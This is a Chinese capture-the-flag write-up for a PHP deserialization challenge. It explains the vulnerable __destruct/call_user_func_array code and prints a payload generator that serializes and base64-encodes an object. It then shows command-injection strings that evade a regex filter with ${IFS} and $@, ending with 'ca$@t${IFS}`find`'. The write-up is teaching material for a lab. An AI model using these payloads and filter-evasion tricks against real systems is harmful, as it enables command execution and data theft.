开始

进入题目链接后看见如图代码,我们直接抓住关键点,不要浪费精力。大概看一下具体关键内容,第一个大框框属于命令执行,第二个大框框属于正则过滤危险字符,第三个大框框属于反序列化提交的内容,并且进行base64的解码
在这里插入图片描述

解题

那么目标也很清楚了,我们可以通过命令执行获取flag且绕过PHP正则匹配,最后将序列化的payload并进行base64编码,最后利用post请求进行发送即可

序列化

in_array, 检查数组中是否存在某个值,如果method的变量为"ping",那么将执行下一行call_user_func_array()—调用回调函数(把一个数组参数作为回调函数的参数,第二个数组为被传入的索引数组),也就是说method为ping时,那么它的索引数组就是args变量,同时传入args变量也必须是数组才能执行语句

  function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

payload生成代码如下

<?php
class ease{
    private $method;
    private $args;
	
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array('id'));//序列化的具体成员变量
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>

提交payload进行验证,发现能执行当前命令
在这里插入图片描述

正则绕过

因为源代码绕过了斜杠和空格等关键字导致了不能直接获取flag信息,为了方便执行后续命令执行获得flag,我考虑的方案是空格绕过法,空变量绕过来绕过PHP正则的匹配

${IFS} 空格绕过
$@ 空变量

function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }

接下来请按我说的做
将payload生成代码的id替换为要执行的命令,例如查看一下当前目录的详细信息

$a = new ease("ping",array('l$@s'));//修改payload生成代码的这一行即可

发现flag_1s_here目录下有flag
在这里插入图片描述

做到这里通常会卡住,获取flag必须要用斜杠"/"查看目录下的文件,思考一下有什么可以代替斜杆,然后获取flag。搜索了资料发现有些命令是可以查看目录下的文件,我们可以利用这个特性然后配合cat命令进行查看

find 查看当前及子目录下的所有文件

直接配合内联执行引用find命令特性,然后使用cat查看find列出的文件即可,因为flag就在当前目录

$a = new ease("ping",array('ca$@t${IFS}`find`'));//修改payload生成代码的这一行即可

再次提交payload,查看源代码可以看见flag
在这里插入图片描述

结尾

看到网上和官方的wp解法都有点麻烦,要八进制编码等等,仔细思考方法其实不止一种,多动脑多查资料才有自己的解题思路

点赞(13) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部